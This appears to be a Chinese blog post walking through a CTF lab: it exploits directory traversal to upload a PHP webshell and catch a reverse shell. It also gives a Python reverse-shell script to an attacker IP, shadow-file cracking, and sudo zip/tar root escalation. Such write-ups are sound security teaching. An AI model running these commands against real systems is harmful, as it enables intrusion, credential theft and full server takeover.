CTF实验:web安全目录遍历

目录遍历漏洞介绍

路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过操纵带有“点-斜线(…)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
需要注意的是,系统操作访问控制(如在微软Windows操作系统上锁定或使用文件)限制了对文件的访问权限。
这种攻击也称为“点-点斜线”、“目录遍历”、“目录爬升”和“回溯”

信息探测

扫描主机服务信息以及服务版本
– nmap -sV 靶场IP地址
快速扫描主机全部信息
– nmap -T4 –A -v 靶场IP地址
探测敏感信息
– nikto -host http://靶场IP地址:端口
– 目录信息探测 dirb http://靶场IP:端口
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
找到一些敏感页面
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

漏洞扫描

owasp-zap web漏洞扫描器,自动挖掘web应用程序中的漏洞;
在这里插入图片描述
发现存在高危漏洞在这里插入图片描述
打开该页面
在这里插入图片描述

分析漏洞扫描结果

目录遍历漏洞
利用目录遍历漏洞获取shell思路:
– 上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux当中获取反弹shell;

敏感页面上传shell

– dbadmin 敏感目录有敏感页面,浏览器访问,使用弱口令尝试登陆;
登陆页面之后 查找可利用的写webshell的点;
使用/usr/share/webshells/php/下的webshell
在这里插入图片描述
新建数据库,数据表,字段(写入<?php system(“cd /tmp;wget http://ip:port/webshell.php;chmod +x webshell.php;php webshell”);?>)

在这里插入图片描述
在这里插入图片描述
使用/usr/share/webshells/php/下的webshell
在这里插入图片描述

监听反弹shell

创建服务器用于靶场机器下载对应webshell

– python –m “SimpleHTTPServer”
在这里插入图片描述
启动监听 nc
– nc –nlvp 端口号
在这里插入图片描述
启动终端
– python –c “import pty;pty.spawn(‘/bin/bash’)”

提权

往往我们能拿下服务器的web服务只是具有低权限用户(www-data),对于内网渗透,我们需要提权到root。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。
提权前提:
已经拿到低权shell
被入侵的机器上面有nc,python,perl等linux非常常见的工具
有权限上传文件和下载文件
在这里插入图片描述
拿到了低权

内核漏洞提权

内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。
查看发行版本 查看内核版本
cat /etc/issue uname -a
cat /etc/*-release
寻找内核溢出代码
– searchspoit 发行版本 内核版本
上传内核溢出代码,编译执行
– gcc xxx.c -o exploit
– chmod +x exploit
– ./exploit
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200407205148794.JPG
在这里插入图片描述
在这里插入图片描述

明文root密码提权

大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
例如 破解linux用户名和对应的密码
— /etc/passwd /etc/shadow
— unshadow passwd shadow > cracked
— john cracked
在这里插入图片描述
在这里插入图片描述

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell;如果定时执行的文件是py脚本,可以使用一下的脚本来替换之前的脚本;
靶场代码 攻击机启动nc 监听端口 nc –nlvp port
#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“攻击机IP地址”,”攻击机监听端口”))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,”-i”])

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:
python -c ‘import pty;pty.spawn("/bin/sh")’
就用python建立了一个虚拟终端,然后就可以使用sudo等等命令 sudo su。

使用 sudo –l 查看当前用户可以使用root提权的命令信息;

  1. 利用zip 进行提权
    – touch exploit
    – sudo –u root zip exploit.zip exploit –T –unzip-command=“sh –c /bin/bash”
    利用tar进行提权
    – sudo –u root tar cf /dev/null exploit –checkpoint=1–checkpoint-action=“/bin/bash”
    在这里插入图片描述
    在这里插入图片描述

获取Flag

一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。

cd /root/
ls
cat flag
writeup 测试文档 总结文档
在这里插入图片描述

总结

通过目录遍历漏洞配合文件上传webshell,反弹对应的shell。

目录遍历也可以用来获取敏感信息

例如 破解linux用户名和对应的密码
— /etc/passwd /etc/shadow unshadow passwd shadow > cracked
— john cracked
在CTF比赛中,提权是一个关键步骤,需要有多种思路来进行提权

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值